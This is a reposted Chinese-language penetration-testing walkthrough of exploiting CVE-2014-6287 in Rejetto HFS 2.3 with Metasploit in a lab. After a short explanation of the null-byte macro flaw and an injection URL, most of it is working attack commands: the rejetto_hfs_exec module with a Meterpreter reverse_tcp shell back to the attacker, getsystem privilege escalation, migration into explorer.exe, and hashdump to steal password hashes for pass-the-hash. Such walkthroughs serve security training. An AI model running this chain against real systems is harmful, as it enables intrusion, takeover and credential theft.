滲透之——Metasploit攻擊HFS 2.3上的漏洞
阿新 • • 發佈:2019-01-14
轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/86358284
攻擊機: kali 192.168.109.137
靶機: windows server 2012 192.168.109.141
工具:Metasploit
根據CVE-2014-6287的描述,Rejetto網路檔案伺服器(也被稱為HSF或者HttpFileServer)的2.3x版本(2.3c以前的版本)中的parserLib.pas檔案使用了一個findMacroMaker函式,該漏洞源於parserLib.pas檔案沒有正確處理空位元組。遠端攻擊者可藉助搜尋操作中的%00序列利用該漏洞執行任意程式。
下面給出了這個有漏洞的函式:
function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
這個函式不能正確的處理空位元組,所以當我們對http://localhost:80/search=%00{.exec|cmd.}發起請求時,就會停止對巨集的正則解析,從而導致遠端程式碼的注入。
1.開啟MSF
msfconsole
2.滲透漏洞
search hfs use exploit/windows/http/rejetto_hfs_exec show options set RHOST 192.168.109.141 set RPORT 8080 show payloads set payload windows/meterpreter/reverse_tcp set LHOST 192.168.109.137 set LPORT 4444 show options exploit
此時,我們已經以管理員的身份獲得了Windows server 2012系統的許可權。
3.將許可權提升為系統級
getsystem
4.檢視系統程序和Meterpreter正在駐留的程序號
ps
getpid
5.繫結Meterpreter到其他程序
這裡,為了保險起見,我們將Meterpreter的程序繫結到explorer.exe的程序號,這裡,explorer.exe的程序號為1864,執行如下命令:
migrate 1864
此時,我們再次輸入getpid命令檢視,Meterpreter正在駐留的程序號變成了1864
6.收集系統密碼的雜湊值
hashdump
完成了雜湊值的收集之後,就可以執行pass-the-hash攻擊,在沒有明文密碼的情況下繞過限制。